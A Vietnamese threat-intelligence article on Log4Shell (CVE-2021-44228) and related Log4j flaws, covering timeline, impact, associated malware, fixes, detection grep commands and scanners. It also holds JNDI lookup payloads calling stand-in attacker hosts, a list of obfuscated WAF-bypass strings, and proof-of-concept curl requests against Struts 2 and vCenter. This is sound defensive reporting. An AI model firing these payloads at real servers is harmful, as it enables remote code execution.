CVE-2021-44228 | Lỗ hổng NGHIÊM TRỌNG trên thư viện Apache Log4j và các vấn đề liên quan

Theo thời gian với các mối đe dọa an ninh mạng lớn cho thế giới như Wannacry, Heartbleed và Shellshock thì năm 2021 xuất hiện lỗ hổng được định danh CVE-2021-44228 và bởi các tên gọi khác như Log4Shell hoặc LogJam. Khai thác lỗ hổng không yêu cầu xác thực cho phép thực thi mã từ xa (RCE) trên bất kỳ ứng dụng nào sử dụng tiện ích nguồn mở Log4j và ảnh hưởng đến các phiên bản Log4j 2.0-beta9 lên đến 2.14.1. Lỗi này đã đạt điểm 10/10 trong hệ thống đánh giá CVSS, cho thấy mức độ nghiêm trọng của lỗ hổng. Viettel Threat Intelligence sẽ đưa ra một số cái nhìn chi tiết về lỗ hổng CVE-2021-44228 cũng như các vấn đề liên quan.

Bài viết với mục đích nghiên cứu, chia sẻ tri thức về các mối đe dọa an toàn trên Không gian mạng. Viettel Threat Intelligence sẽ không chịu trách nhiệm nếu các cá nhân sử dụng tri thức nhằm mục đích tấn công hay phá hoại.

1. Tổng quan về lỗ hổng CVE-2021-44228

1.1. Giới thiệu chung về Log4j

Apache Log4j hay thường gọi là Log4j là một trình ghi log (thư viện/framework) được viết bằng ngôn ngữ Java. Framework Apache Log4j đang được sử dụng bởi hơn 5 TRIỆU ứng dụng mã nguồn mở trên toàn cầu, con số này còn có thể lớn hơn gấp nhiều lần đối với các ứng dụng không công bố mã nguồn. Đây là phần mềm mã nguồn mở được duy trì bởi một nhóm lập trình viên tình nguyện của dự án phi lợi nhuận từ Apache Software Foundation.

1.2. Timeline chi tiết các vấn đề liên quan đến Log4Shell:

Một mốc thời gian đáng chú ý là JNDI injection đã được trình bày ở Blackhat 2016 tại Mỹ bởi Alvaro Muñoz và Oleksandr. Và cũng có nghĩa là có thể lỗ hổng Log4Shell đã tồn tại được 5 năm mà không có bất kì một ai khám phá ra sự ảnh hưởng nghiêm trọng của nó.

Vào lúc 2:51 chiều ngày 24 tháng 11, Chen Zhaojun, một nhân viên thuộc nhóm cloud-security của Alibaba Group Holding Ltd đã gửi email cảnh báo cho Apache Software Foundation (ASF) về lỗ hổng Log4shell. Và một sự thật ít người biết, một nhóm nhỏ lập trình viên không được trả lương đã đi làm để vá phần mềm bị lỗi. Apache cũng đã phát hành phiên bản 2.15.0 vào ngày 6/12 bao gồm bản vá cho CVE-2021-44228.

Một điều đáng chú ý về vấn đề này đó là Cơ quan quản lý internet của Trung Quốc, Bộ Công nghiệp và Công nghệ Thông tin (MIIT) đã đình chỉ thỏa thuận với Alibaba vì không chia sẻ CVE-2021-44228 đầu tiên với chính phủTrung Quốc. Điều này càng cho thấy được sự nghiêm trọng của lỗ hổng LogJam.

Theo ghi nhận của VCS-TI, CVE-2021-44228 đã được tiết lộ trong một Tweet (hiện đã bị xóa) vào 9/12/2021 bởi user p0rz9 – một Web Security Engineer.

CloureFlare cũng ghi nhận các trường hợp tấn công khai thác lỗ hổng từ ngày 1/12/2021

VCS cũng ghi nhận việc rà quét và khai thác lỗ hổng trước ngày lỗ hổng được công bố một khoảng thời gian dài. VCS sẽ có bài nghiên cứu chi tiết về việc lỗ hổng được khai thác sớm trong thời gian tới.

Như vậy có thể việc khai thác CVE-2021-44228 đã được diễn ra từ trước khi lỗ hổng được công bố. Và khoảng thời gian chính xác cũng khó có thể xác định. Có thể việc khai thác lỗ hổng đã diễn ra từ lâu mà không ai biết.

1.3. Lỗ hổng CVE-2021-44228

· Sản phẩm: Apache Log4j

· Phiên bản ảnh hưởng: 2.0-beta9 <= Apache log4j <= 2.14.1

· Mã CVE: CVE-2021-44228

· Điểm CVSS: 10.0

Lưu ý: Chỉ log4j-core JAR bị ảnh hưởng bởi lỗ hổng này. Các ứng dụng chỉ sử dụng JAR log4j-api mà không sử dụng JAR log4j-core sẽ không bị ảnh hưởng bởi lỗ hổng này.

Dựa trên các tiêu chí:

· Apache Log4j là thư viện, framework được sử dụng rất phổ biến trên thế giới cũng như ở Việt Nam.

· PoC của lỗ hổng đã được công bố trên không gian mạng.

· Khai thác lỗ hổng cho phép tin tặc thực thi mã từ xa.

· Lỗ hổng đang được khai thác rất phổ biến với nhiều hình thức bypass WAF khác nhau.

VCS-TI đánh giá nguy cơ ở mức Nghiêm Trọng.

Thông tin chi tiết:

Từ bản Log4J 2.0, tính năng lookups được thêm vào nhằm bổ sung thêm các cách lấy các giá trị giúp cho việc logging thuận tiện hơn, trong đó bao gồm cả JNDI lookup.

Vậy JNDI là gì ?

Java Naming and Directory Interface (JNDI) là một Java API cho phép lưu trữ và truy cập nhiều loại dữ liệu và tài nguyên, như đối tượng, tệp, thư mục… JNDI đã có mặt trong Java từ cuối những năm 1990. JNDI được thiết kế để cung cấp một giao diện chung cho phép truy cập các dịch vụ hiện có như DNS, LDAP, CORBA và RMI.

Lỗ hổng xảy ra ở tính năng kết nối tới bất kì dịch vụ nào (như LDAP) thông qua JNDI chỉ bằng cách sử dụng URL. Log4j không cung cấp bất kì bộ lọc nào để loại trừ các URL không xác định. Các dịch vụ từ xa như LDAP trả về đối tượng được tuần tự hóa và class của nó (có thể chứa mã độc hại). Điều này xảy ra bởi vì Log4j chứa cú pháp đặc biệt theo hình thức ${prefix:name}. Ví dụ, ${java:version}là phiên bản Java đang chạy hiện tại.

Vì vậy, tất cả những gì kẻ tấn công phải làm là tìm một số đầu vào được log lại và thêm một số dòng như ${jndi:ldap://example.com/a}. Đây có thể là một HTTP header phổ biến như User-Agent (thường được log lại) hoặc có thể là một tham số như username,…

Kịch bản tấn công:

1. Đầu tiên dữ liệu của kẻ tấn công được gửi đến server. (Bằng nhiều phương thức: HTTP, TCP, …)

2. Sau đó, kẻ tấn công có gắng tìm một số value/parameter mà có thể được log bởi Log4j (ví dụ như: User-Agent của HttpHeader, username,...). Máy chủ logs dữ liệu trong request, bao gồm payload độc hại ví dụ như:

· ${jndi:ldap://attacker.com/a} (trong đó attacker.com là máy chủ bị kẻ tấn công kiểm soát)

3. Lỗ hổng trên Log4j cho phép kích hoạt payload và máy chủ tạo ra một request đến attacker.com thông qua JNDI (Java Naming and Directory Interface).

4. Từ đây, phản hồi sẽ bao gồm đường dẫn tới một remote Java class được đưa vào server.

• Ví dụ http://second-stage.attacker.com/Exploit.class. (trong đó second-stage.attacker.com là máy chủ bị kẻ tấn công kiểm soát)

5. Cuối cùng, payload được kích hoạt và cho phép kẻ tấn công thực thi mã từ xa.

Biện pháp khắc phục:

• Hiện tại hãng đã cập nhật bản vá cho lỗ hổng:

o  Cập nhật lên Log4j 2.3.2 (dành cho Java 6), 2.12.4 (dành cho Java 7) hoặc 2.17.1 (dành cho Java 8 trở lên).

• Nếu không, đối với các phiên bản từ 2.16.0 trở về trước, có thể xóa class JndiLookup khỏi classpath:

o  zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

MITRE ATT&CK

1.4. Các lỗ hổng liên tiếp được công bố sau CVE-2021-44228

Sau khi lỗ hổng Log4shell được tiết lộ và Apache đã phát hành bản vá cho lỗ hổng trên phiên bản Log4j 2.15.0 thì các lỗ hổng CVE-2021-45046, CVE-2021-45105 được lần lượt công bố. Và mới đây là lỗ hổng RCE CVE-2021-44832.

1.4.1. CVE-2021-45046

Ngày 13/12, Apache đã phát hành phiên bản Log4j 2.16.0 bao gồm bản vá cho CVE-2021-45046. Tiếp đó vào ngày 14/12, Apache đưa ra thông báo bảo mật cho CVE-2021-45046. Ban đầu là lỗ hổng cho phép tấn công từ chối dịch vụ DoS với điểm CVSS 3.7. Tuy nhiên sau đó được nâng lên điểm CVSS 9,0 cho phép tin tặc thực thi mã từ xa sau khi khai thác thành công. Nguy cơ xảy ra do bản vá cho CVE-2021-44228 trên phiên bản 2.15.0 là chưa triệt để trong một số cấu hình không phải mặc định.

Tin tặc kiểm soát dữ liệu đầu vào của Thread Context Map (MDC) khi cấu hình ghi log dùng non-default Pattern Layout với Context Lookup.

Ví dụ: Dữ liệu của kẻ tấn công là "$ {jndi: ldap: //attacker.com/a}" sẽ được look up:

• appender.console.layout.pattern = $ {ctx: layout-pattern-value} -% d {yyyy-MM-dd HH: mm: ss}% -5p% c {1}:% L -% m% n

RCE diễn ra trong mạng local trong phiên bản Log4j 2.15.0. Tuy nhiên đã có cách bypass localhost bằng việc sử dụng:

• ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

Tin tặc đã bypass 2 hàm allowedLdapHost và allowedClasses:

Nguy cơ xảy ra do phương thức java.net.URIgetHost() trả về giá trị trước “#” là máy chủ thực. Nhưng trình phân giải JNDI / LDAP sẽ phân giải thành chuỗi hostname đầy đủ khi kết nối với máy chủ LDAP độc hại.

Điều kiện tiên quyết

• Hệ thống sử dụng Apache Log4j phiên bản 2.0-beta9 đến 2.12.1 và 2.13.0 đến 2.15.0
• Chỉ log4j-core JAR bị ảnh hưởng bởi lỗ hổng này. Các ứng dụng chỉ sử dụng JAR log4j-api mà không sử dụng JAR log4j-core sẽ không bị ảnh hưởng bởi lỗ hổng này.
• Điều kiện RCE:
• Sử dụng hệ điều hành MacOS.
• Hệ thống sử dụng phiên bản Log4j 2.15.0
• "message lookups" được enable với %m{lookups}

Biện pháp khắc phục:

• Hiện tại hãng đã cập nhật bản vá cho lỗ hổng:

o Cập nhật lên Log4j 2.3.2 (dành cho Java 6), 2.12.4 (dành cho Java 7) hoặc 2.17.1 (dành cho Java 8 trở lên).

• Nếu không, đối với các phiên bản từ 2.16.0 trở về trước, có thể xóa class JndiLookup khỏi classpath:

o    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

1.4.2. CVE-2021-45105

Ngày 17/12, Apache phát hành phiên bản Log4j 2.17.0 và đi kèm thông báo bảo mật về CVE-2021-45105.

API Apache Log4j hỗ trợ thay thế biến trong lookups. Tuy nhiên, một biến được tạo thủ công có thể khiến ứng dụng gặp sự cố do không kiểm soát thay thế đệ quy. Kẻ tấn công có quyền kiểm soát các lệnh lookup (ví dụ: thông qua Thread Context Map) có thể tạo ra một biến lookup độc hại, gây lỗi StackOverflowError dẫn đến tấn công Từ chối Dịch vụ (DoS).

Ví dụ: Nếu Pattern Layout chứa Context Lookup của ${ctx.apiversion} và giá trị được gán của nó là  ${${ctx.apiversion}} thì biến sẽ được thay thế đệ quy bằng chính nó.

Điều kiện tiên quyết:

• Hệ thống sử dụng Apache Log4j phiên bản 2.0-alpha1 đến 2.16.0
• Chỉ log4j-core JAR bị ảnh hưởng bởi lỗ hổng này. Các ứng dụng chỉ sử dụng JAR log4j-api mà không sử dụng JAR log4j-core sẽ không bị ảnh hưởng bởi lỗ hổng này.

Biện pháp khắc phục:

• Hiện tại hãng đã cập nhật bản vá cho lỗ hổng:

+ Cập nhật lên Log4j 2.3.2 (dành cho Java 6), 2.12.4 (dành cho Java 7) hoặc 2.17.1 (dành cho Java 8 trở lên).

• Giảm thiểu ảnh hưởng bằng cách sửa đổi trong configuration:

+ Ở PatternLayout trong logging configuration, thay thế Context Lookups như ${ctx:loginId} hoặc $${ctx:loginId} bằng Thread Context Map patterns (%X, %mdc, or %MDC).

+ Trong configuration, xóa các tham chiếu đến Context Lookups như ${ctx:loginId} hoặc $${ctx:loginId} từ những nguồn bên ngoài ứng dụng, ví dụ như HTTP headers hoặc user input.

1.4.3. CVE-2021-44832

Ngày 29/12, Apache phát hành phiên bản 2.17.1 và đi kèm thông báo bảo mật về CVE-2021-44832. Lỗ hổng cho phép thực thi mã từ xa. Quả thực, Log4j đang được sự quan tâm đặc biệt từ tất cả các đối tượng từ tin tặc cho đến các nhà nghiên cứu bảo mật.

Apache Log4j2 phiên bản 2.0-beta7 đến 2.17.0 (không bao gồm các phiên bản 2.3.2 và 2.12.4) có thể bị thực thi mã từ xa (RCE). Kẻ tấn công có quyền sửa đổi tệp logging configuration có thể tạo cấu hình độc hại sử dụng JDBC Appender với nguồn dữ liệu tham chiếu đến URI JNDI.

Cấu hình của vị trí cơ sở dữ liệu từ xa được thực hiện với phần tử DataSource. Có thể thấy không có bất kì hạn chế nào khi sử dụng một URL thông qua LDAP. Từ đây có thể khai thác JNDI:LDAP deserialization bằng cách sử dụng:

· <DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>

Lỗ hổng này được khắc phục bằng cách giới hạn tên nguồn dữ liệu JNDI cho giao thức java trong Log4j2 phiên bản 2.17.1, 2.12.4 và 2.3.2.

Điều kiện tiên quyết:

· Hệ thống sử dụng Apache Log4j 2.0-beta7 <= Phiên bản <= 2.17.0 (Không bao gồm các phiên bản 2.3.2 và 2.12.4)

· Tin tặc cần có quyền chỉnh sửa tệp logging configuration.

· Chỉ log4j-core JAR bị ảnh hưởng bởi lỗ hổng này. Các ứng dụng chỉ sử dụng JAR log4j-api mà không sử dụng JAR log4j-core sẽ không bị ảnh hưởng bởi lỗ hổng này.

Biện pháp khắc phục

· Quản trị viên có thể cập nhật lên các phiên bản Log4j 2.3.2 (dành cho Java 6), 2.12.4 (dành cho Java 7) hoặc 2.17.1 (dành cho Java 8 trở lên).

2. Mức độ ảnh hưởng của CVE-2021-44228

Log4j được sử dụng bởi nhiều framework và gói ứng dụng Java phổ biến, chẳng hạn như Struts, Hadoop, Elasticsearch, Grails, Kafka, v.v. Điều này có nghĩa là lỗ hổng bảo mật không chỉ nằm sâu trong các ứng dụng web dựa trên Java mà còn trong hàng trăm nghìn ứng dụng doanh nghiệp. Và không giống như vụ hack SolarWinds, ảnh hưởng (về mặt toàn cầu) tương đối ít tổ chức và cần nỗ lực thủ công để khai thác các hệ thống cụ thể, Log4Shell rất dễ khai thác.
Rất nhiều ứng dụng và công ty công nghệ bị ảnh hưởng như: game Minecraft, Steam, Microsoft, Cisco, CloudFlare, VMware,… thậm chí cả Google hay Apple cũng không phải ngoại lệ.
Điển hình như VMware đã có một thông báo về việc ảnh hưởng của CVE-2021-44228 và CVE-2021-45046 trên các sản phẩm của mình vào ngày 10/12. Rất nhiều sản phẩm phổ biến của hãng đều tồn tại lỗ hổng Log4Shell như VMware vCenter Server, VMware vRealize, VMware Horizon, … Hãng đánh giá nguy cơ ở mức Nghiêm Trọng và đang tiến hành cập nhật bản vá và workaround cho từng sản phẩm. Thông tin chi tiết tại:
• https://www.vmware.com/security/advisories/VMSA-2021-0028.html
Hãng Microsoft cũng đã có phản hồi về CVE-2021-44228 trên các sản phẩm của họ trong ngày 11/12. Chi tiết tại:
• https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
Trong đó ảnh hưởng lớn nhất có lẽ là với game Minecraft – tựa game nổi tiếng của Microsoft với 480 triệu người chơi trên toàn thế giới. Người dùng phiên bản Minecraft: Java Edition có chứa lỗ hổng CVE-2021-44228 có thể bị hack bất cứ lúc nào. Các video PoC về việc chiếm quyền điều khiển Minecraft dựa trên lỗ hổng Log4Shell đang ngập tràn trên Youtube.

Log4Shell có lẽ giống như một “cơn bão” bảo mật càn quét các ứng dụng sử dụng Log4j trên toàn thế giới. CISA của Mỹ và NCSC Hà Lan đã liệt kê các sản phẩm cũng như các nhà cung cấp bị ảnh hưởng bởi CVE-2021-44228. Chi tiết tại:
• https://github.com/cisagov/log4j-affected-db
• https://github.com/NCSC-NL/log4shell/tree/main/software
Theo số liệu của Cloudflare, hơn 48% mạng công ty trên toàn cầu đã bị rà quét khai thác liên quan đến CVE-2021-44228. Và các tổ chức giáo dục, nghiên cứu, ISP (Internet Service Provider), MSP (Managed Service Provider) cũng như các tổ chức tài chính, ngân hàng và các tổ chức Chính phủ là mục tiêu được ưu tiên của các “tin tặc” trên toàn thế giới.

Có tới hơn 20.000 yêu cầu khai thác bị Cloudflare chặn mỗi phút vào ngày 10/12 ngay sau khi thông tin về lỗ hổng CVE-2021-44228 được công bố.

Tiếp đó số lượng request bị chặn mỗi phút tăng mạnh từ ngày 10->13/12.

Theo số liệu của CheckPoint có tới 800.000 hành vi tấn công được ghi nhận sau ngày 13/12. (Tức là khoảng 3 ngày sau khi lỗ hổng được công bố). Con số này gấp tới 20 lần sao với con số 40.000 của ngày 11/12.

CheckPoint cũng đã chặn hơn 4.300.000 request khai thác lỗ hổng, trong đó có khoảng 46% là từ các tổ chức độc hại đã biết. Riêng tại Việt Nam có tới 33% các tổ chức đã bị rà quét, khai thác lỗ hổng bởi các tin tặc.

Còn theo số liệu của Shadow Server, có tới 174.068 scan/exploit từ 2.344 địa chỉ IP duy nhất trên cổng 443 trên global honeypot của Shadow Server.

Có thể nhận thấy Mỹ, Iran và Trung Quốc là các quốc gia được tin tặc “quan tâm” nhất.

Fortinet ghi nhận sự gia tăng ổn định trong việc phát hiện các cuộc tấn công bằng cách sử dụng IPS signature của họ. Con số gần 60 triệu vào ngày 15/12 cho thấy được sự “quan tâm” của tin tặc dành cho lỗ hổng CVE-2021-44228.

Dưới đây là các cổng TCP được quét và khai thác CVE-2021-44228 được quan sát bởi honeypots của Shadow Server. Cổng 8080 và 80 cũng như 443 của giao thức HTTP vẫn được các tin tặc “ưu ái” nhất.

Từ tất cả các số liệu ở trên cho thấy rằng các tổ chức tin tặc đang tích cực rà quét, khai thác lỗ hổng CVE-2021-44228 trên toàn thế giới với quy mô đang tăng một cách chóng mặt và chưa có dấu hiệu “hạ nhiệt”. Do sự phổ biến của Log4j và sự đơn giản trong vector khai thác khiến cho Log4j trở thành miếng mồi béo bở cho các tin tặc trên toàn cầu.
Theo ghi nhận của VCS-TI:
Đặc biệt, số cuộc tấn công được các giải pháp của VCS phát hiện chặn lọc cho đến thời điểm ngày 28/12 được ghi nhận là hơn 6000 request nhắm vào các tổ chức khách hàng. Bao gồm các nỗ lực rà quét, khai thác liên quan tới lỗ hổng CVE-2021-44228. Trong đó các mục tiêu nổi bật của tin tặc vẫn là các tổ chức tài chính lớn và chính phủ.

3. Các tác nhân độc hại đi cùng với CVE-2021-44228

Theo ghi nhận của VCS-TI, mục đích của việc khai thác CVE-2021-44228 của tin tặc là thực hiện những hành động sau trên server của nạn nhân:
• Triển khai phần mềm đào tiền điện tử như xmrig / kinsing
• Triển khai botnet Mirai và Tsunami
• Triển khai Cobalt Strike
• Triển khai Orcus RAT
• Triển khai ransomware
• Cài đặt Reverse shells
Các loại hình mã độc, payload, nhóm tấn công độc hại phổ biến mà các hãng ghi nhận:
Theo Fortinet:
• Ransomware Khonsari
• Kinsing
• Mirai
• Muhstik
• Elknot
• m8220
• Orcus RAT
• XMRig
• SitesLoader
• Nanocore RAT, …
Theo Sophos:
• Linux/Miner-ABU,Linux/Miner-ADH
• Linux/Swrort-G (“Mettle”)
• Troj/Ransom-GME (TellYouThePass ransomware)
• Troj/StealthL-A (Stealth Loader)
• App/StlthLdr-A (Stealth Loader installer, PUA)
• Mal/ExpJava-AL, Mal/ExpJava-AN, Mal/ExpJava-AO (Khonsari downloaders)
• Troj/JavaDl-AAN and Troj/Java-AIN (Khonsari downloaders)
• Troj/JavaDl-AAO (N0t4n3xplo1t.class)
• Troj/Mdrop-JMR, Troj/Mdrop-JMS, Troj/Mdrop-JMP
• Troj/Khonsari-A (new)
• Troj/JavaDl-AAN
• Troj/Java-AIN
• Troj/BatDl-GR
• Mal/JavaKC-B
• XMRig Miner (PUA)
• Troj/Bckdr-RYB
• Troj/PSDl-LR
• Mal/ShellDl-A
• Linux/DDoS-DT, Linux/DDoS-DS
• Linux/Miner-ADG, Linux/Miner-ZS, Linux/Miner-WU
• Linux/Rootkt-M

VCS-TI cảnh báo về các mẫu mã độc sử dụng lỗ hổng CVE-2021-44228 trong Apache Log4j gây ảnh hưởng đến một số doanh nghiệp tại Việt Nam như:
• Mã độc Mirai và Mustik sử dụng để thu thập các thiết bị và máy chủ để vào mạng botnet và sử dụng chúng cho mục đích triển khai các công cụ mã hóa và thực hiện các cuộc tấn công DDoS quy mô lớn.
• Mã độc Kinsing chứa công cụ đào tiền ảo và payload có trojan truy cập từ xa (RAT).
Điển hình là sự cố bảo mật của ONUS, một trong những nền tảng Crypto lớn nhất Việt Nam. Bắt nguồn với lỗ hổng Log4Shell trong phần mềm thanh toán phát triển bởi Cyclos cài đặt trong hệ thống của họ, nhưng rồi đã trở nên tồi tệ hơn do lỗi cấu hình cũng như những sai lầm nghiêm trọng trong cách trao quyền truy cập tới AWS S3. Hậu quả để lại là thông tin cá nhân của 2 triệu người dùng ONUS đã bị rò rỉ, bao gồm dữ liệu eKYC, thông tin cá nhân và mật khẩu đã mã hóa.

Sau khi khai thác lỗ hổng thành công, kẻ tấn công đã tải và chạy một backdoor trên máy chủ của ONUS. Backdoor này được đặt tên là kworker nhằm giả mạo dịch vụ kworker của hệ điều hành Linux.

Backdoor kworker thu được viết bằng ngôn ngữ Golang phiên bản 1.17.2 và dành cho hệ điều hành Linux x64. Backdoor được sử dụng để tạo tunnel connection giữa máy chủ C&C với máy chủ bị khai thác thông qua giao thức SSH. Phân tích chi tiết về sự cố này có thể đọc them tại:
• https://cystack.net/research/cuoc-tan-cong-vao-onus-goc-nhin-ky-thuat-tu-lo-hong-log4shell
Cách phản ứng / Xử lý nguy cơ
• Chặn trên các giải pháp Firewall, IDS, Web Gateways, Router… kết nối tới tất cả URL và IP theo IOC của mã độc
• Cập nhật, cài đặt đầy đủ bản thông tin mới nhất về chiến dịch này cho giải pháp về ATTT (VD: Anti-virus, EDR…)
• Dựa vào dấu hiệu nhận biết mã độc để loang và tìm kiếm những máy bị nhiễm trên SIEM
• Cập nhật các bản vá lỗi mới nhất để ngăn chặn nguy cơ bị khai thác các lỗ hổng
IOCs
IOCs mà VCS-TI ghi nhận trên không gian mạng: (bao gồm các địa chỉ, hạ tầng scan lỗ hổng, phát tán phần mềm độc hại, …)
• https://github.com/vcs-ti/indicator/tree/main/CVE-2021-44228
Vui lòng bỏ [] khi add IOC cho hệ thống.

4. Phản ứng với lỗ hổng Log4Shell:

4.1. Các hình thức Bypass WAF

Kể từ khi CVE-2021-44228 được công bố, VCS-TI ghi nhận thấy những kẻ tấn công chuyển từ việc sử dụng các hình thức khai thác đơn giản sang chủ động cố gắng bỏ qua sự ngăn chặn của WAFs. WAF cung cấp một công cụ hữu ích để ngăn chặn những kẻ tấn công bên ngoài và việc Bypass WAF thường được cố gắng vượt qua các quy tắc đơn giản.

Trong giai đoạn đầu khai thác lỗ hổng Log4j, những kẻ tấn công sử dụng các chuỗi không bị xáo trộn thường bắt đầu bằng ${jndi:dns, ${jndi:rmi và ${jndi:ldap và các quy tắc đơn giản khác.

Sau khi các chuỗi trên bị chặn, những kẻ tấn công chuyển sang sử dụng các kỹ thuật bypass WAF. Log4j có một số chức năng đa dạng cho phép che đi các “key strings” mà một số WAF tìm kiếm.

· Ví dụ phương thức ${lower} lookup sẽ viết thường một chuỗi. Vì vậy ${lower:H} sẽ trở thành h.

Những kẻ tấn công sử dụng lookup để ngụy trang các chuỗi quan trọng như “jndi” giúp bypass các WAF. Trong thực tế, các chuỗi như ${date}, ${lower}, ${upper}, ${web}, ${main} và ${env} đang được sử dụng.

Log4j cho phép sử dụng ${} bên trong ${}. Từ đó, kẻ tấn công có thể kết hợp nhiều từ khóa khác nhau để bypass.

· Ví dụ ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e sẽ được log thành hide.

Một kĩ thuật bypass khác được sử dụng là “:-”.

· Ví dụ ${::-h} hoặc ${::::::-h} sẽ trở thành h.

Tin tặc cũng có thể sử dụng HTML URL Encoding bằng cách thay thế:

· } với %7D

· { với %7B

· $ với %24

Với (JSON REST API request) kẻ tấn công có thể sử dụng cú pháp như sau:

· Polymorphic:

{

"one-${jnd${a":"a:-i}:ld${",

"two":"o:-a}p://somesitehackerofhell.com/z}

}

· Unicode Characters

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Số lượng Log4j payload patterns được Cloudflare ghi nhận:

Các hình thức bypass WAF ngày càng phức tạp và khó phát hiện hơn. Sau đây là một số cách bypass mà VCS-TI ghi nhận:

• ${jndi:ldap://x.x.x.x/test}
• ${jndi:${lower:l}${lower:d}ap://badurl}
• ${j${lower:n}di:ld${lower:a}p:/${lower:/...}
• ${${upper:J}ndi${upper::}...}
• ${${base64:am5kaQ==}:...}
• ${${base64:am5k}${base64:aQ==}:...}
• ${${bas${env:JSDFHJKSHFKJSFD:-e64}:am5kaQ==}:...}
• ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
• ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
• ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
• ${jndi:rmi://adsasd.asdasd.asdasd}
• ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
• ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
• ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
• ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
• jndi:
• jn${env::-}di:
• jn${date:}di${date:':'}
• j${k8s:k5:-ND}i${sd:k5:-:}
• j${main:\k5:-Nd}i${spring:k5:-:}
• j${sys:k5:-nD}${lower:i${web:k5:-:}}
• j${::-nD}i${::-:}
• j${EnV:K5:-nD}i:
• j${loWer:Nd}i${uPper::}

4.2. Dấu hiệu nhận biết

Do đó gói tin tin tặc khai thác lỗ hổng có các dấu hiệu sau:

Chứa một trong các keyword:

· ${jndi:

· ${upper:

· ${lower:

· ${base64:

· ${env:

· ${java:

· ${sys:

· ${spring:

· ${::

Đi kèm với đó là một số HTTP headers phổ biến phản hồi khi bị truy vấn:

4.3. Kiểm tra hệ thống đã bị khai thác CVE-2021-44228

Bạn có thể sử dụng các lệnh và rules này để tìm kiếm các nỗ lực khai thác chống lại lỗ hổng log4j CVE-2021-44228:

Grep/Zgrep

- Lệnh tìm kiếm trong các tệp không nén trong thư mục /var/log và tất cả các thư mục con:

sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log

- Lệnh tìm kiếm trong các tệp nén trong thư mục /var/log và tất cả các thư mục con:

sudo find /var/log -name \*.gz -print0 |xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'

Grep / Zgrep - Obfuscated Variants

- Lệnh tìm kiếm trong các tệp không nén trong thư mục /var/log và tất cả các thư mục con:

sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;

- Lệnh tìm kiếm trong các tệp nén trong thư mục /var/log và tất cả các thư mục con:

sudo find /var/log/ -name '*.gz' -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;

4.4. Các công cụ scan, rà quét lỗ hổng CVE-2021-44228

Dưới đây là một số công cụ, tool scan, rà quét lỗ hổng CVE-2021-44228 được VCS-TI ghi nhận:

- Nuclei với Template CVE-2021-44228.yaml.

· https://github.com/projectdiscovery/nuclei

· https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml

- Nmap với các file nse:

o https://github.com/Diverto/nse-log4shell

o https://github.com/righel/log4shell_nse

- Logout4shell

o   https://github.com/Cybereason/Logout4Shell

- Trendmicro

o https://log4j-tester.trendmicro.com/

- Tham khảo thêm tại:

o   https://github.com/NCSC-NL/log4shell/blob/main/scanning/README.md

Ngoài ra, còn rất nhiều công cụ có thể scan, rà quét lỗ hổng đang được công bố trên không gian mạng. Lưu ý chỉ sử dụng để phát hiện và khắc phục lỗ hổng, VCS-TI không chịu trách nhiệm cho việc sử dụng các công cụ vào mục đích tìm kiếm, tấn công khai thác các hệ thống.

4.5. Rule

Rule bao gồm Suricata rule, Snort rule và Yara rule. Chi tiết tại:

· https://github.com/vcs-ti/signature/tree/master/CVE-2021-44228

Phụ lục: Lỗ hổng CVE-2021-44228 trên một số sản phẩm phổ biến:

Ngay sau khi lỗ hổng CVE-2021-44228 được công bố thì hàng loạt các ứng dụng, sản phầm sử dụng Log4j có thể bị RCE mà không cần xác thực. VCS-TI đưa ra một số ví dụ về PoC của việc khai thác Log4Shell trên một số ứng dụng phổ biến.

Apache Struts 2

PoC:

· curl -vv -H "If-Modified-Since: \${jndi:ldap://localhost:80/abc}" http://localhost:8080/struts2-showcase/struts/utils.js

Nguyên nhân:

Apache Struts 2 framework chứa các tệp tĩnh (Javascript, CSS, v.v.) được yêu cầu cho các thành phần giao diện người dùng khác nhau. Việc tìm kiếm và “phục vụ” các thành phần này được xử lý bởi class struts2 DefaultStaticContentLoader. Mà DefaultStaticContentLoader dễ bị tấn công bởi Log4j CVE-2021-44228.

VMWare VCenter

PoC:

· curl --insecure -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="

Nguyên nhân:

Trang đăng nhập của VMWare VCenter (/websso/SAML2/SSO/<hostname>) yêu cầu người dùng cung cấp tham số SAMLRequest. Khi tham số SAMLRequest để trống, hệ thống sẽ ghi lại lỗi ở /var/log/vmware/sso.log. VCenter sẽ sử dụng giá trị trong trường HTTP X-Forwarded-For làm “client” trong log message.

Thử thách duy nhất đối với kẻ tấn công là lấy được hostname (photon-machine.lan) trong ví dụ trên). Tất nhiên, tin tặc sẽ có được giá trị đó chỉ bằng cách gửi request GET tới https://10.0.0.4/ui/Login.

Apache Druid

